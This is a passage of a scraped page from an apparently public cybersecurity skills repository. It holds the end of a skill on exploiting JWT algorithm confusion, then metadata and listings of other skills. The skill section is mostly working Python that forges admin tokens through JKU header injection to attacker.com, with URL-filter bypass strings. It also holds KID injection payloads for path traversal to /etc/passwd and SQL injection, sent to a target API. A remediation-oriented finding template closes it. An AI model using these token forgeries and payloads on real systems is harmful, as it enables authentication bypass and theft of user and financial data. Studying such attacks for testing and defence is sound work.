Admin access via alg:none bypass\")\n        break\n```\n\n### Step 5: JKU and KID Header Injection\n\n```python\nimport os\n\n# Attack: JKU (JWK Set URL) injection\n# Host attacker-controlled JWKS that contains our key pair\ndef generate_attacker_jwks():\n    \"\"\"Generate an RSA key pair and JWKS for the attacker's server.\"\"\"\n    from cryptography.hazmat.primitives.asymmetric import rsa\n    from cryptography.hazmat.backends import default_backend\n\n    # Generate attacker key pair\n    private_key = rsa.generate_private_key(\n        public_exponent=65537,\n        key_size=2048,\n        backend=default_backend()\n    )\n    public_key = private_key.public_key()\n    public_numbers = public_key.public_numbers()\n\n    n_b64 = base64.urlsafe_b64encode(\n        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')\n    e_b64 = base64.urlsafe_b64encode(\n        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')\n\n    jwks = {\n        \"keys\": [{\n            \"kty\": \"RSA\",\n            \"kid\": \"attacker-key-1\",\n            \"use\": \"sig\",\n            \"alg\": \"RS256\",\n            \"n\": n_b64,\n            \"e\": e_b64\n        }]\n    }\n\n    return private_key, jwks\n\nattacker_private_key, attacker_jwks = generate_attacker_jwks()\n\n# Create JWT with JKU pointing to attacker server\ndef forge_jku_token(payload_modifications, jku_url):\n    \"\"\"Create a JWT signed with attacker key, JKU pointing to attacker JWKS.\"\"\"\n    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))\n    payload.update(payload_modifications)\n\n    header = {\n        \"alg\": \"RS256\",\n        \"typ\": \"JWT\",\n        \"kid\": \"attacker-key-1\",\n        \"jku\": jku_url  # Points to attacker-hosted JWKS\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with attacker's private key\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.asymmetric import padding\n\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    signature = attacker_private_key.sign(\n        signing_input,\n        padding.PKCS1v15(),\n        hashes.SHA256()\n    )\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Test JKU injection with various URLs\njku_urls = [\n    \"https:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\",\n    \"https:\u002F\u002Fattacker.com\u002Fjwks\",\n    # Bypass URL filters\n    f\"{BASE_URL}@attacker.com\u002Fjwks\",\n    f\"{BASE_URL}\u002F.well-known\u002Fjwks.json#@attacker.com\",\n]\n\nfor jku in jku_urls:\n    token = forge_jku_token({\"role\": \"admin\"}, jku)\n    # Note: This test requires hosting the attacker JWKS at the specified URL\n    print(f\"  JKU injection payload generated for: {jku}\")\n\n# KID injection (SQL injection in kid parameter)\nkid_injection_payloads = [\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\",              # Path traversal to empty file\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002Fsys\u002Fkernel\u002Fhostname\",\n    \"' UNION SELECT 'secret-key' -- \",         # SQL injection in kid lookup\n    \"' OR '1'='1\",\n    \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\",\n    \"https:\u002F\u002Fattacker.com\u002Fkey.pem\",            # URL-based kid\n]\n\nfor kid in kid_injection_payloads:\n    modified_header = {\"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": kid}\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(modified_header).encode()).decode().rstrip('=')\n    payload_b64 = valid_token.split('.')[1]\n\n    # Sign with the expected key material from the injection\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    # For path traversal to \u002Fdev\u002Fnull, the key would be empty\n    sig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')\n\n    token = f\"{header_b64}.{payload_b64}.{sig_b64}\"\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] KID injection successful: {kid}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |\n| **alg:none Attack** | Setting the JWT algorithm to \"none\" to bypass signature verification entirely, if the library does not enforce algorithm selection |\n| **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |\n| **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |\n| **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |\n| **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |\n\n## Tools & Systems\n\n- **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities\n- **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256\u002FHS384\u002FHS512-signed JWTs\n- **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks\n- **jwt.io**: Online JWT decoder and debugger for quick token analysis\n\n## Common Scenarios\n\n### Scenario: Algorithm Confusion on Banking API\n\n**Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.\n\n**Approach**:\n1. Obtain a valid JWT by authenticating as a regular user\n2. Extract the RSA public key from the JWKS endpoint at `\u002F.well-known\u002Fjwks.json`\n3. Create a new JWT with `\"alg\": \"HS256\"` header and sign it using the RSA public key as the HMAC secret\n4. Send the forged token to `GET \u002Fapi\u002Fv1\u002Fusers\u002Fme` - server accepts it (algorithm confusion confirmed)\n5. Modify the payload to set `\"role\": \"admin\"` and `\"sub\": \"admin@bank.com\"` - sign with the public key\n6. Access admin endpoints: `GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions` returns all transaction history\n7. Test alg:none: rejected by the server (partial mitigation)\n8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection\n\n**Pitfalls**:\n- Using the wrong format of the public key as the HMAC secret (PEM with\u002Fwithout headers, DER, raw bytes)\n- Not trying multiple public key formats when the first one does not produce a valid signature\n- Assuming the alg:none defense means algorithm confusion is also mitigated\n- Not testing kid injection vectors when the kid parameter is present in the JWT header\n- Missing JKU\u002Fx5u header injection when the server fetches keys from URLs\n\n## Output Format\n\n```\n## Finding: JWT Algorithm Confusion Enables Authentication Bypass\n\n**ID**: API-JWT-001\n**Severity**: Critical (CVSS 9.8)\n**CVE Reference**: CVE-2024-54150 (related pattern)\n**Affected Component**: JWT authentication middleware\n\n**Description**:\nThe API's JWT verification library trusts the algorithm specified in\nthe JWT header rather than enforcing a fixed algorithm. An attacker can\nchange the algorithm from RS256 to HS256 and sign the token using the\nserver's RSA public key (available from the JWKS endpoint) as the HMAC\nsecret. The server then uses the same public key to verify the HMAC\nsignature, which succeeds, allowing the attacker to forge tokens for\nany user with any role.\n\n**Attack Chain**:\n1. Obtain public key: GET \u002F.well-known\u002Fjwks.json\n2. Create JWT: {\"alg\":\"HS256\",\"typ\":\"JWT\"}.{\"sub\":\"admin\",\"role\":\"admin\"}\n3. Sign with HMAC-SHA256 using RSA public key PEM as secret\n4. Access admin API: GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions -> 200 OK\n\n**Impact**:\nComplete authentication bypass. An attacker can forge tokens for any\nuser including administrators, accessing all financial transactions,\nuser data, and administrative functions.\n\n**Remediation**:\n1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=[\"RS256\"])\n2. Never trust the alg header from the JWT for algorithm selection\n3. Update the JWT library to the latest version with algorithm confusion protections\n4. Consider using EdDSA (Ed25519) which does not have symmetric\u002Fasymmetric confusion risk\n5. Implement token binding to prevent forged token acceptance\n```\n",{"name":5,"tags":56,"author":57,"domain":38,"license":15,"version":58,"nist_csf":59,"subdomain":44,"description":7,"mitre_attack":64},[44,47,48,49,50],"mahipal","1.0.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68,69],"T1190","T1059.007","T1552.001","T1055","T1059","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-jwt-algorithm-confusion-attack",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-jwt-algorithm-confusion-attack",{"tool":86,"command":87},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-jwt-algorithm-confusion-attack",{"tool":89,"command":90},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-jwt-algorithm-confusion-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FSKILL.md",true,[94,99,105],{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FLICENSE",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md","REFERENCE","参考文档",2425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"scripts\u002Fagent.py","SCRIPT","脚本",4989,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002Fscripts\u002Fagent.py",[112,137,160,185,211,238],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":119,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[118],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[120,121,122,123,37,38,124,125,40,126,127,128,129,130,131,132,133,134,135,136],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":144,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[143],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[145,133,146,147,37,148,38,40,41,149,150,151,152,153,154,155,156,157,158,159],"boot","TPM","validating tpm measured boot attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":168,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[166,167],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[154,169,170,171,36,38,172,173,41,174,175,176,177,178,179,180,181,182,183,184],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":186,"name":187,"nameZh":6,"description":188,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":189,"categories":190,"keywords":192,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[191],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[193,194,195,38,196,197,198,199,200,201,202,203,204,205,206,207,151,208,209,210],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[217],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,38,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":245,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[244],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[37,246,38,247,248,249,250,251,252,253,254,180,255,181,256,257,258,259,260,261],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]